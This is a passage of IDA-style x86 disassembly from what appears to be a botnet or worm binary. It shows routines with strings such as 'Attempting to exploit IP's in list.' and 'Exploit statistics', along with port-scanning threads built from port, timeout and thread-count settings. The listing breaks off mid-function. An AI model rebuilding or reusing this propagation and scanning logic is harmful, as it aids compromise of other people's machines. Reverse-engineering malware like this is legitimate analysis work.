		mov	eax, [ebp+var_30]
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 32h
		jb	short loc_413BAC
		cmp	[ebp+var_C], 0EA60h
		jbe	short loc_413BB3


loc_413BAC:				; CODE XREF: sub_413AB0+F1j
		mov	[ebp+var_C], 7D0h


loc_413BB3:				; CODE XREF: sub_413AB0+FAj
		cmp	[ebp+arg_14], 0
		jz	short loc_413BC7
		push	[ebp+arg_14]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_34], eax
		jmp	short loc_413BCE
; ---------------------------------------------------------------------------


loc_413BC7:				; CODE XREF: sub_413AB0+107j
		mov	[ebp+var_34], 100h


loc_413BCE:				; CODE XREF: sub_413AB0+115j
		mov	eax, [ebp+var_34]
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	short loc_413BE3
		cmp	[ebp+var_10], 200h
		jbe	short loc_413BEA


loc_413BE3:				; CODE XREF: sub_413AB0+128j
		mov	[ebp+var_10], 100h


loc_413BEA:				; CODE XREF: sub_413AB0+131j
		push	2C9h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_413C03
		jmp	locret_413CB1
; ---------------------------------------------------------------------------


loc_413C03:				; CODE XREF: sub_413AB0+14Cj
		push	108h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_8]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	0Eh
		push	[ebp+arg_8]
		mov	eax, [ebp+var_8]
		add	eax, 10Ch
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		mov	[eax+11Ah], ecx
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		mov	[eax+11Eh], ecx
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_10]
		mov	[eax+122h], ecx
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		add	eax, 126h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+var_10]
		push	[ebp+var_C]
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+11Ah]
		mov	eax, [ebp+var_8]
		add	eax, 10Ch
		push	eax
		mov	eax, [ebp+var_8]
		add	eax, 4
		push	eax
		push	offset unk_41CE7C
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_8]
		push	offset loc_41349C
		call	sub_4095A4
		add	esp, 24h

locret_413CB1:				; CODE XREF: sub_413AB0:loc_413AC2j
					; sub_413AB0+34j ...
		leave
		retn
sub_413AB0	endp

; ---------------------------------------------------------------------------


loc_413CB3:				; DATA XREF: sub_413FE7+5Co
		push	ebp
		mov	ebp, esp
		sub	esp, 49Ch
		push	327h
		push	dword ptr [ebp+8]
		lea	eax, [ebp-330h]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	dword ptr [ebp+8]
		call	sub_416B4C	; free
		pop	ecx
		mov	eax, [ebp-330h]
		push	dword ptr [eax]
		push	offset unk_41CF28
		lea	eax, [ebp-1ACh]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		and	dword ptr [ebp-334h], 0
		and	dword ptr [ebp-484h], 0
		lea	eax, [ebp-4]
		push	eax
		push	offset dword_418F4C
		lea	eax, [ebp-32Ch]
		push	eax
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp-8], eax


loc_413D21:				; CODE XREF: cAddress:loc_413FA8j
		mov	eax, [ebp-334h]
		inc	eax
		mov	[ebp-334h], eax
		and	dword ptr [ebp-488h], 0
		jmp	short loc_413D44
; ---------------------------------------------------------------------------


loc_413D37:				; CODE XREF: cAddress:00413EEEj
					; cAddress:loc_413F77j
		mov	eax, [ebp-488h]
		inc	eax
		mov	[ebp-488h], eax


loc_413D44:				; CODE XREF: cAddress:00413D35j
		mov	eax, [ebp-488h]
		imul	eax, 3Ah
		cmp	off_41CCD6[eax], 0
		jz	loc_413F7C
		push	3Ah
		mov	eax, [ebp-488h]
		imul	eax, 3Ah
		add	eax, offset byte_41CCA8
		push	eax
		lea	eax, [ebp-47Ch]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp-488h]
		imul	eax, 3Ah
		add	eax, offset byte_41CCA8
		mov	[ebp-480h], eax
		lea	eax, [ebp-47Ch]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp-469h]
		push	eax
		call	sub_4105FB
		pop	ecx
		cmp	dword ptr [ebp-480h], 0
		jz	loc_413E9A
		mov	eax, [ebp-480h]
		mov	eax, [eax+32h]
		and	eax, 1
		test	eax, eax
		jz	loc_413E9A
		call	sub_4042FB
		mov	[ebp-490h], eax
		cmp	dword ptr [ebp-490h], 0
		jz	short loc_413DE9
		mov	dword ptr [ebp-3BEh], 2
		jmp	short loc_413DF3
; ---------------------------------------------------------------------------


loc_413DE9:				; CODE XREF: cAddress:00413DDBj
		mov	dword ptr [ebp-3BEh], 3


loc_413DF3:				; CODE XREF: cAddress:00413DE7j
		movsx	eax, byte ptr [ebp-15h]
		test	eax, eax
		jz	short loc_413E15
		mov	eax, [ebp-480h]
		mov	eax, [eax+32h]
		and	eax, 2
		test	eax, eax
		jnz	short loc_413E15
		mov	dword ptr [ebp-3BEh], 1


loc_413E15:				; CODE XREF: cAddress:00413DF9j
					; cAddress:00413E09j
		movsx	eax, byte ptr [ebp-25h]
		test	eax, eax
		jz	short loc_413E27
		mov	dword ptr [ebp-3BEh], 2


loc_413E27:				; CODE XREF: cAddress:00413E1Bj
		movsx	eax, byte ptr [ebp-24h]
		test	eax, eax
		jz	short loc_413E39
		mov	dword ptr [ebp-3BEh], 3


loc_413E39:				; CODE XREF: cAddress:00413E2Dj
		cmp	dword ptr [ebp-3BEh], 3
		jnz	short loc_413E55
		cmp	dword ptr [ebp-490h], 0
		jz	short loc_413E55
		mov	dword ptr [ebp-3BEh], 2


loc_413E55:				; CODE XREF: cAddress:00413E40j
					; cAddress:00413E49j
		cmp	dword ptr [ebp-3BEh], 3
		jnz	short loc_413E9A
		mov	al, [ebp-14h]
		mov	[ebp-498h], al
		mov	al, [ebp-21h]
		mov	[ebp-494h], al
		mov	byte ptr [ebp-14h], 1
		and	byte ptr [ebp-21h], 0
		push	0
		lea	eax, [ebp-1ACh]
		push	eax
		call	sub_412F07
		pop	ecx
		pop	ecx
		mov	al, [ebp-498h]
		mov	[ebp-14h], al
		mov	al, [ebp-494h]
		mov	[ebp-21h], al


loc_413E9A:				; CODE XREF: cAddress:00413DAFj
					; cAddress:00413DC3j ...
		movsx	eax, byte ptr [ebp-13h]
		neg	eax
		sbb	eax, eax
		and	eax, 1388h
		add	eax, 1388h
		push	eax
		push	0
		lea	eax, [ebp-469h]
		push	eax
		push	dword ptr [ebp-8]
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp-48Ch], eax
		cmp	dword ptr [ebp-48Ch], 0
		jz	loc_413F77
		push	14Ch
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp-49Ch], eax
		cmp	dword ptr [ebp-49Ch], 0
		jnz	short loc_413EF3
		jmp	loc_413D37
; ---------------------------------------------------------------------------


loc_413EF3:				; CODE XREF: cAddress:00413EECj
		push	14Ch
		lea	eax, [ebp-480h]
		push	eax
		push	dword ptr [ebp-49Ch]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp-484h]
		inc	eax
		mov	[ebp-484h], eax
		mov	eax, [ebp-49Ch]
		mov	ecx, [ebp-48Ch]
		mov	[eax+3Eh], ecx
		push	dword ptr [ebp-49Ch]
		push	offset loc_41331E
		call	sub_409479
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_413F59
		push	dword ptr [ebp-48Ch]
		call	sub_4053B1
		pop	ecx
		push	dword ptr [ebp-49Ch]
		call	sub_416B4C	; free
		pop	ecx
		jmp	short loc_413F77
; ---------------------------------------------------------------------------


loc_413F59:				; CODE XREF: cAddress:00413F3Dj
		lea	eax, [ebp-47Ch]
		push	eax
		push	dword ptr [ebp-8]
		push	offset dword_41CEF8
		lea	eax, [ebp-1ACh]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_413F77:				; CODE XREF: cAddress:00413ECEj
					; cAddress:00413F57j
		jmp	loc_413D37
; ---------------------------------------------------------------------------


loc_413F7C:				; CODE XREF: cAddress:00413D54j
		lea	eax, [ebp-4]
		push	eax
		push	offset dword_418F4C
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0
		jnz	short loc_413F9A
		jmp	short loc_413FAD
; ---------------------------------------------------------------------------


loc_413F9A:				; CODE XREF: cAddress:00413F96j
		mov	eax, [ebp-330h]
		cmp	dword ptr [eax+4], 0
		jz	short loc_413FA8
		jmp	short loc_413FAD
; ---------------------------------------------------------------------------


loc_413FA8:				; CODE XREF: cAddress:00413FA4j
		jmp	loc_413D21
; ---------------------------------------------------------------------------


loc_413FAD:				; CODE XREF: cAddress:00413F98j
					; cAddress:00413FA6j
		push	dword ptr [ebp-334h]
		push	dword ptr [ebp-484h]
		mov	eax, [ebp-330h]
		push	dword ptr [eax]
		push	offset dword_41CEB4
		lea	eax, [ebp-1ACh]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		push	dword ptr [ebp-330h]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413FE7	proc near		; CODE XREF: sub_40A9CF+B5Bp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_4], 0
		jnz	short loc_413FF3
		jmp	short locret_414050
; ---------------------------------------------------------------------------


loc_413FF3:				; CODE XREF: sub_413FE7+8j
		push	327h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_414009
		jmp	short locret_414050
; ---------------------------------------------------------------------------


loc_414009:				; CODE XREF: sub_413FE7+1Ej
		push	180h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 184h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	offset aAttemptingToEx ; "Attempting to	exploit	IP's in list."
		push	0
		push	[ebp+var_4]
		push	offset loc_413CB3
		call	sub_4095A4
		add	esp, 10h

locret_414050:				; CODE XREF: sub_413FE7+Aj
					; sub_413FE7+20j
		leave
		retn
sub_413FE7	endp

; ---------------------------------------------------------------------------


loc_414052:				; DATA XREF: sub_41417D+35o
		push	ebp
		mov	ebp, esp
		sub	esp, 3C0h
		push	1A7h
		push	dword ptr [ebp+8]
		lea	eax, [ebp-3C0h]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	dword ptr [ebp+8]
		call	sub_416B4C	; free
		pop	ecx
		push	offset aExploitStatist ; "Exploit statistics - "
		lea	eax, [ebp-200h]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		and	dword ptr [ebp-204h], 0
		jmp	short loc_4140A4
; ---------------------------------------------------------------------------


loc_414097:				; CODE XREF: cAddress:loc_41414Aj
		mov	eax, [ebp-204h]
		inc	eax
		mov	[ebp-204h], eax


loc_4140A4:				; CODE XREF: cAddress:00414095j
		mov	eax, [ebp-204h]
		imul	eax, 3Ah
		movsx	eax, byte_41CCA8[eax]
		test	eax, eax
		jz	loc_41414F
		push	12h
		mov	eax, [ebp-204h]
		imul	eax, 3Ah
		add	eax, offset byte_41CCA8
		push	eax
		lea	eax, [ebp-218h]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp-218h]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp-218h]
		push	eax
		lea	eax, [ebp-200h]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		mov	eax, [ebp-204h]
		imul	eax, 3Ah
		push	dword_41CCD2[eax]
		push	offset dword_41CF7C
		lea	eax, [ebp-200h]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		lea	eax, [ebp+eax-200h]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		movsx	eax, byte ptr [ebp-225h]
		test	eax, eax
		jz	short loc_41414A
		mov	eax, [ebp-204h]
		imul	eax, 3Ah
		and	dword_41CCD2[eax], 0


loc_41414A:				; CODE XREF: cAddress:00414138j
		jmp	loc_414097
; ---------------------------------------------------------------------------


loc_41414F:				; CODE XREF: cAddress:004140B6j
		and	byte ptr [ebp-224h], 0
		lea	eax, [ebp-200h]
		push	eax
		lea	eax, [ebp-3BCh]
		push	eax
		call	sub_40D53F
		pop	ecx
		pop	ecx
		push	dword ptr [ebp-3C0h]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41417D	proc near		; CODE XREF: sub_40A9CF+BF4p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_414197
		jmp	short locret_4141BF
; ---------------------------------------------------------------------------


loc_414197:				; CODE XREF: sub_41417D+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aListingExploit ; "Listing exploit statistics"
		push	0
		push	[ebp+var_4]
		push	offset loc_414052
		call	sub_4095A4
		add	esp, 10h

locret_4141BF:				; CODE XREF: sub_41417D+18j
		leave
		retn
sub_41417D	endp

; ---------------------------------------------------------------------------


loc_4141C1:				; DATA XREF: sub_4142BF+E2o
		push	ebp
		mov	ebp, esp
		sub	esp, 2BCh
		push	2B1h
		push	dword ptr [ebp+8]
		lea	eax, [ebp-2BCh]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	dword ptr [ebp+8]
		call	sub_416B4C	; free
		pop	ecx
		call	sub_416B64	; clock
		mov	[ebp-4], eax
		push	dword ptr [ebp-1B2h]
		push	0
		lea	eax, [ebp-1B8h]
		push	eax
		lea	eax, [ebp-2B8h]
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0
		jz	short loc_41424F
		push	dword ptr [ebp-8]
		call	sub_4053B1
		pop	ecx
		call	sub_416B64	; clock
		sub	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-1B8h]
		push	eax
		lea	eax, [ebp-2B8h]
		push	eax
		push	offset dword_41D028
		lea	eax, [ebp-1AEh]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		jmp	short loc_4142AD
; ---------------------------------------------------------------------------


loc_41424F:				; CODE XREF: cAddress:00414217j
		movsx	eax, byte ptr [ebp-16h]
		test	eax, eax
		jnz	short loc_4142AD
		call	sub_416B64	; clock
		sub	eax, [ebp-4]
		cmp	eax, [ebp-1B2h]
		jb	short loc_41428B
		lea	eax, [ebp-1B8h]
		push	eax
		lea	eax, [ebp-2B8h]
		push	eax
		push	offset dword_41CFF0
		lea	eax, [ebp-1AEh]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	short loc_4142AD
; ---------------------------------------------------------------------------


loc_41428B:				; CODE XREF: cAddress:00414265j
		lea	eax, [ebp-1B8h]
		push	eax
		lea	eax, [ebp-2B8h]
		push	eax
		push	offset dword_41CFC0
		lea	eax, [ebp-1AEh]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_4142AD:				; CODE XREF: cAddress:0041424Dj
					; cAddress:00414255j ...
		push	dword ptr [ebp-2BCh]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4142BF	proc near		; CODE XREF: sub_40A9CF+1B5Ep

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	[ebp+arg_4], 0
		jnz	short loc_4142D0
		jmp	locret_4143AE
; ---------------------------------------------------------------------------


loc_4142D0:				; CODE XREF: sub_4142BF+Aj
		cmp	[ebp+arg_8], 0
		jnz	short loc_4142DD
		mov	[ebp+arg_8], offset a80	; "80"


loc_4142DD:				; CODE XREF: sub_4142BF+15j
		push	[ebp+arg_8]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_4142F8
		cmp	[ebp+var_8], 0FFFFh
		jbe	short loc_4142FD


loc_4142F8:				; CODE XREF: sub_4142BF+2Ej
		jmp	locret_4143AE
; ---------------------------------------------------------------------------


loc_4142FD:				; CODE XREF: sub_4142BF+37j
		cmp	[ebp+arg_C], 0
		jz	short loc_414311
		push	[ebp+arg_C]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_10], eax
		jmp	short loc_414318
; ---------------------------------------------------------------------------


loc_414311:				; CODE XREF: sub_4142BF+42j
		mov	[ebp+var_10], 0EA60h


loc_414318:				; CODE XREF: sub_4142BF+50j
		mov	eax, [ebp+var_10]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_41432D
		cmp	[ebp+var_4], 36EE80h
		jbe	short loc_41432F


loc_41432D:				; CODE XREF: sub_4142BF+63j
		jmp	short locret_4143AE
; ---------------------------------------------------------------------------


loc_41432F:				; CODE XREF: sub_4142BF+6Cj
		push	2B1h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_414345
		jmp	short locret_4143AE
; ---------------------------------------------------------------------------


loc_414345:				; CODE XREF: sub_4142BF+82j
		push	100h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_C]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	6
		push	[ebp+arg_8]
		mov	eax, [ebp+var_C]
		add	eax, 104h
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		mov	[eax+10Ah], ecx
		push	[ebp+arg_0]
		mov	eax, [ebp+var_C]
		add	eax, 10Eh
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	offset dword_41D058
		push	0
		push	[ebp+var_C]
		push	offset loc_4141C1
		call	sub_4095A4
		add	esp, 18h

locret_4143AE:				; CODE XREF: sub_4142BF+Cj
					; sub_4142BF:loc_4142F8j ...
		leave
		retn
sub_4142BF	endp

; ---------------------------------------------------------------------------


loc_4143B0:				; DATA XREF: sub_414600+1D6o
		push	ebp
		mov	ebp, esp
		sub	esp, 2DCh
		push	2B3h
		push	dword ptr [ebp+8]
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	dword ptr [ebp+8]
		call	sub_416B4C	; free
		pop	ecx
		mov	ax, [ebp-1BCh]
		mov	[ebp-0Ch], ax
		push	dword ptr [ebp-1B4h]
		call	sub_404D10
		pop	ecx
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0
		jnz	short loc_41440C
		push	dword ptr [ebp-2C0h]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4145FC
; ---------------------------------------------------------------------------


loc_41440C:				; CODE XREF: cAddress:004143F7j
		push	dword ptr [ebp-1B4h]
		movzx	eax, word ptr [ebp-1BAh]
		push	eax
		movzx	eax, word ptr [ebp-1BCh]
		push	eax
		lea	eax, [ebp-2BCh]
		push	eax
		mov	eax, [ebp-2C0h]
		push	dword ptr [eax]
		push	offset dword_41D0C8
		lea	eax, [ebp-1B0h]
		push	eax
		call	sub_40D53F
		add	esp, 1Ch
		movsx	eax, byte ptr [ebp-18h]
		test	eax, eax
		jnz	short loc_414458
		push	3E8h
		call	dword_41709C	; Sleep


loc_414458:				; CODE XREF: cAddress:0041444Bj
		call	sub_416B64	; clock
		mov	[ebp-2C4h], eax
		and	dword ptr [ebp-4], 0


loc_414467:				; CODE XREF: cAddress:004144EAj
					; cAddress:004145A0j
		mov	eax, [ebp-2C0h]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_414482
		movzx	eax, word ptr [ebp-0Ch]
		movzx	ecx, word ptr [ebp-1BAh]
		cmp	eax, ecx
		jle	short loc_414487


loc_414482:				; CODE XREF: cAddress:00414471j
		jmp	loc_4145A5
; ---------------------------------------------------------------------------


loc_414487:				; CODE XREF: cAddress:00414480j
		push	0Ah
		lea	eax, [ebp-2CCh]
		push	eax
		movzx	eax, word ptr [ebp-0Ch]
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	dword ptr [ebp-8]
		push	0
		lea	eax, [ebp-2CCh]
		push	eax
		lea	eax, [ebp-2BCh]
		push	eax
		call	sub_404FE7
		add	esp, 0Ch
		push	eax
		call	sub_404D4D
		pop	ecx
		pop	ecx
		mov	[ebp-2D0h], eax
		mov	ax, [ebp-0Ch]
		add	ax, 1
		mov	[ebp-0Ch], ax
		cmp	dword ptr [ebp-2D0h], 0
		jz	short loc_4144EF
		movzx	eax, word ptr [ebp-0Ch]
		movzx	ecx, word ptr [ebp-1BAh]
		cmp	eax, ecx
		jg	short loc_4144EF
		jmp	loc_414467
; ---------------------------------------------------------------------------


loc_4144EF:				; CODE XREF: cAddress:004144D9j
					; cAddress:004144E8j
		push	dword ptr [ebp-1B8h]
		call	dword_41709C	; Sleep
		push	dword ptr [ebp-8]
		call	sub_404E1C
		pop	ecx
		test	eax, eax
		jz	loc_414597


loc_41450C:				; CODE XREF: cAddress:00414592j
		mov	eax, [ebp-2C0h]
		cmp	dword ptr [eax+4], 0
		jz	short loc_41451A
		jmp	short loc_414597
; ---------------------------------------------------------------------------


loc_41451A:				; CODE XREF: cAddress:00414516j
		push	dword ptr [ebp-8]
		call	sub_404F24
		pop	ecx
		mov	[ebp-2D8h], eax
		cmp	dword ptr [ebp-2D8h], 0
		jnz	short loc_414534
		jmp	short loc_414597
; ---------------------------------------------------------------------------


loc_414534:				; CODE XREF: cAddress:00414530j
		lea	eax, [ebp-2CCh]
		push	eax
		push	dword ptr [ebp-2D8h]
		call	sub_4045B2
		pop	ecx
		pop	ecx
		mov	eax, [ebp-4]
		inc	eax
		mov	[ebp-4], eax
		mov	al, [ebp-18h]
		mov	[ebp-2D4h], al
		and	byte ptr [ebp-18h], 0
		lea	eax, [ebp-2CCh]
		push	eax
		lea	eax, [ebp-2BCh]
		push	eax
		push	offset dword_41D0B4
		lea	eax, [ebp-1B0h]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		mov	al, [ebp-2D4h]
		mov	[ebp-18h], al
		push	3E8h
		call	dword_41709C	; Sleep
		jmp	loc_41450C
; ---------------------------------------------------------------------------


loc_414597:				; CODE XREF: cAddress:00414506j
					; cAddress:00414518j ...
		push	dword ptr [ebp-8]
		call	sub_404F7D
		pop	ecx
		jmp	loc_414467
; ---------------------------------------------------------------------------


loc_4145A5:				; CODE XREF: cAddress:loc_414482j
		push	dword ptr [ebp-4]
		call	sub_416B64	; clock
		sub	eax, [ebp-2C4h]
		mov	[ebp-2DCh], eax
		fild	dword ptr [ebp-2DCh]
		fdiv	flt_417270
		push	ecx
		push	ecx
		fstp	qword ptr [esp]
		lea	eax, [ebp-2BCh]
		push	eax
		push	offset unk_41D078
		lea	eax, [ebp-1B0h]
		push	eax
		call	sub_40D53F
		add	esp, 18h
		push	dword ptr [ebp-8]
		call	sub_404FD0
		pop	ecx
		push	dword ptr [ebp-2C0h]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_4145FC:				; CODE XREF: cAddress:00414407j
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414600	proc near		; CODE XREF: sub_40A9CF+C9Cp

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		cmp	[ebp+arg_4], 0
		jz	short loc_414612
		cmp	[ebp+arg_8], 0
		jnz	short loc_414617


loc_414612:				; CODE XREF: sub_414600+Aj
		jmp	locret_4147E3
; ---------------------------------------------------------------------------


loc_414617:				; CODE XREF: sub_414600+10j
		cmp	[ebp+arg_C], 0
		jnz	short loc_414623
		mov	eax, [ebp+arg_8]
		mov	[ebp+arg_C], eax


loc_414623:				; CODE XREF: sub_414600+1Bj
		push	[ebp+arg_8]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_41463E
		cmp	[ebp+var_8], 0FFFFh
		jbe	short loc_414643


loc_41463E:				; CODE XREF: sub_414600+33j
		jmp	locret_4147E3
; ---------------------------------------------------------------------------


loc_414643:				; CODE XREF: sub_414600+3Cj
		push	[ebp+arg_C]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jz	short loc_41465E
		cmp	[ebp+var_14], 0FFFFh
		jbe	short loc_414663


loc_41465E:				; CODE XREF: sub_414600+53j
		jmp	locret_4147E3
; ---------------------------------------------------------------------------


loc_414663:				; CODE XREF: sub_414600+5Cj
		push	2B3h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_41467C
		jmp	locret_4147E3
; ---------------------------------------------------------------------------


loc_41467C:				; CODE XREF: sub_414600+75j
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_14]
		jbe	short loc_414696
		mov	eax, [ebp+var_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_18]
		mov	[ebp+var_8], eax


loc_414696:				; CODE XREF: sub_414600+82j
		cmp	[ebp+arg_10], 0
		jz	short loc_4146AA
		push	[ebp+arg_10]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_1C], eax
		jmp	short loc_4146B1
; ---------------------------------------------------------------------------


loc_4146AA:				; CODE XREF: sub_414600+9Aj
		mov	[ebp+var_1C], 7D0h


loc_4146B1:				; CODE XREF: sub_414600+A8j
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_4146C6
		cmp	[ebp+var_C], 0EA60h
		jbe	short loc_4146CD


loc_4146C6:				; CODE XREF: sub_414600+BBj
		mov	[ebp+var_C], 7D0h


loc_4146CD:				; CODE XREF: sub_414600+C4j
		cmp	[ebp+arg_14], 0
		jz	short loc_4146E1
		push	[ebp+arg_14]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_20], eax
		jmp	short loc_4146E8
; ---------------------------------------------------------------------------


loc_4146E1:				; CODE XREF: sub_414600+D1j
		mov	[ebp+var_20], 100h


loc_4146E8:				; CODE XREF: sub_414600+DFj
		mov	eax, [ebp+var_20]
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	short loc_4146FD
		cmp	[ebp+var_10], 200h
		jbe	short loc_414704


loc_4146FD:				; CODE XREF: sub_414600+F2j
		mov	[ebp+var_10], 100h


loc_414704:				; CODE XREF: sub_414600+FBj
		push	100h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		mov	cx, word ptr [ebp+var_8]
		mov	[eax+104h], cx
		mov	eax, [ebp+var_4]
		mov	cx, word ptr [ebp+var_14]
		mov	[eax+106h], cx
		cmp	[ebp+var_C], 0EA60h
		jbe	short loc_414749
		mov	[ebp+var_24], 0EA60h
		jmp	short loc_41474F
; ---------------------------------------------------------------------------


loc_414749:				; CODE XREF: sub_414600+13Ej
		mov	eax, [ebp+var_C]
		mov	[ebp+var_24], eax


loc_41474F:				; CODE XREF: sub_414600+147j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_24]
		mov	[eax+108h], ecx
		cmp	[ebp+var_10], 200h
		jbe	short loc_41476D
		mov	[ebp+var_28], 200h
		jmp	short loc_414773
; ---------------------------------------------------------------------------


loc_41476D:				; CODE XREF: sub_414600+162j
		mov	eax, [ebp+var_10]
		mov	[ebp+var_28], eax


loc_414773:				; CODE XREF: sub_414600+16Bj
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_28]
		mov	[eax+10Ch], ecx
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 110h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
